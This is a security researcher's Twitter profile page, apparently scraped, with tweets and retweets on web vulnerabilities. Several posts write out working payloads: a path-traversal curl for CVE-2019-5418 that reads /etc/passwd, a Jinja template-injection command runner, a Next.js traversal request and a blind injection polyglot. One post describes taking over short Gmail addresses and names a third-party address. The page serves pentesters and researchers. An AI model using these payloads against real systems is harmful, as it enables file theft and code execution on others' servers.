Kirill Firsov

@k_firsov

Security researcher, Web developer

Moscow
Joined April 2011
7 Photos and videos Photos and videos

Tweets

You blocked @k_firsov

Are you sure you want to view these Tweets? Viewing Tweets won't unblock @k_firsov

  1. Retweeted
    29 Mar 2019

    Vulncode-DB – A vulnerable code database

    1 reply . 32 retweets 84 likes
    Undo
  2. Retweeted
    28 Mar 2019

    Want to bypass WAF when exploiting CVE-2019-5418 ? curl -H 'Accept: ../../../../../../e*c/p*s*d{{' http://server/...

    15 replies . 292 retweets 866 likes
    Show this thread
    Show this thread
    Undo
  3. Retweeted
    28 Mar 2019

    Wow, this is a great payload for sites using Flask/Jinja: {{config.items()[4][1].__class__.__mro__[2].__subclasses__()[229]([\"touch /tmp/test\"], shell=True) }} Simple pythonic ! Easiest Server-Side Template Injection.

    1 reply . 208 retweets 460 likes
    Undo
  4. 5 Mar 2019

    «Best price guarantee» in really works! Thank you

    1 reply .
    Undo
  5. Retweeted
    27 Feb 2019

    React Framework - Arbitrary File Reading in Next.js < 2.4.1 NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation. GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

    6 replies . 213 retweets 362 likes
    Undo
  6. Retweeted
    25 Feb 2019

    Today i made for fun a that combines blind command injection and blind sql injection ( mysql ) in one payload: /*$(sleep 5)`sleep 5``*/sleep(5)#'/*$(sleep 5)`sleep 5` #*/||sleep(5)||'"||sleep(5)||"` is 5 seconds delay and 10 seconds

    3 replies . 49 retweets 100 likes
    Show this thread
    Show this thread
    Undo
  7. Retweeted
    23 Feb 2019

    Awesome Burp Extensions:- Scanners Custom Features Beautifiers and Decoders Cloud Security Scripting OAuth and SSO Information Gathering Web Application Firewall Evasion Logging and Notes Payload Generators and Fuzzers AND MOORE.

    217 retweets 493 likes
    Undo
  8. 24 Feb 2019

    Hey . I have no response for a one week for your «Best price guarantee» service.

    1 reply .
    Undo
  9. Retweeted
    16 Feb 2019

    For Pentesters and CTF players, here’s a list of useful payloads and bypasses, covering various WebApp attacks. There are a lot of similar GitHub repos out there. What’s your personal favorite?

    28 replies . 869 retweets 2,393 likes
    Undo
  10. Retweeted
    13 Feb 2019

    For anyone learning about SPF, DKIM and DMARC, this post has amazing insight.

    1 reply . 3 retweets 10 likes
    Undo
  11. Retweeted
    11 Feb 2019

    How to bypass Instagram SSL Pinning on Android (v78)

    29 retweets 49 likes
    Undo
  12. 14 Mar 2018

    You can check any email address for mail forwarding at , add some note and add 123@gmail.com to it.

    2 likes
    Show this thread
    Show this thread
    Undo
  13. 14 Mar 2018

    If you want to get the shortest gmail account like 123@gmail.com you should find where it forwards and register this address if it was deleted. As example 123@gmail.com forwards to helenamaria.braz@hotmail.com which has been removed as unused from hotmail.

    2 replies . 1 retweet 14 likes
    Show this thread
    Show this thread
    Undo
  14. Retweeted
    11 Nov 2017

    Publishing my another writeup . How I could steal bitcoin wallet backups from

    10 replies . 99 retweets 166 likes
    Undo
  15. Retweeted
    30 Oct 2017

    Messing with the Google Buganizer System for $15,600 in Bounties

    10 replies . 236 retweets 401 likes
    Undo
  16. Retweeted
    27 Oct 2017

    PHPMailer < 5.2.21 - Local File Disclosure 😍

    2 replies . 28 retweets 44 likes
    Undo
  17. Retweeted
    23 Oct 2017

    I just published “The best Burp plugin I’ve ever seen”

    2 replies . 122 retweets 236 likes
    Undo
  18. Retweeted
    2 Oct 2017

    Spoofing e-mail is easy, here is how to break DKIM signature

    10 replies . 585 retweets 858 likes
    Undo
  19. Retweeted
    11 Sep 2017

    Another router/IoT that got pwned, this time the Dlink 850L: XSS, auth bypass, RCE, default private keys, etc. 😩

    6 replies . 283 retweets 382 likes
    Undo
  20. 28 Jun 2017

    Solved the final challenge on 4th place, almost a winner, almost a millionaire

    1 reply . 3 likes
    Undo

@k_firsov hasn't Tweeted yet.

Loading seems to be taking a while.

Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.

    You may also like

    ·